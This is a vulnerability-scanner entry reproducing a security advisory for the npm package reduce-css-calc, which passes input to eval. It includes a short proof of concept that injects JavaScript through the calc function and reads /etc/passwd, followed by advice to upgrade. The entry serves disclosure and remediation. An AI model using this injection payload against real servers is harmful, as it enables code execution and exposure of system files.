QID 983859
QID 983859: Nodejs (npm) Security Update for reduce-css-calc (GHSA-4662-j96g-mv46)
Affected versions of `reduce-css-calc` pass input directly to `eval`. If user input is passed into the calc function, this may result in cross-site scripting on the browser, or remote code execution on the server. ## Proof of Concept ``` const reduceCSSCalc = require('reduce-css-calc'); console.log(reduceCSSCalc(`calc( (Buffer(10000)))`)); console.log(reduceCSSCalc(`calc( (global['fs'] = require('fs')))`)); console.log(reduceCSSCalc(`calc( (fs['readFileSync']("/etc/passwd", "utf-8")))`)); ``` ## Recommendation Update to version 1.2.5 or later.
Successful exploitation of this vulnerability may affect the confidentiality, integrity, and availability of the targeted user.
Solution
Customers are advised to refer to GHSA-4662-j96g-mv46 for updates pertaining to this vulnerability.
Vendor References
- GHSA-4662-j96g-mv46 -
github.com/advisories/GHSA-4662-j96g-mv46
CVEs related to QID 983859
Software Advisories
| Advisory ID | Software | Component | Link |
|---|---|---|---|
| GHSA-4662-j96g-mv46 | reduce-css-calc |
|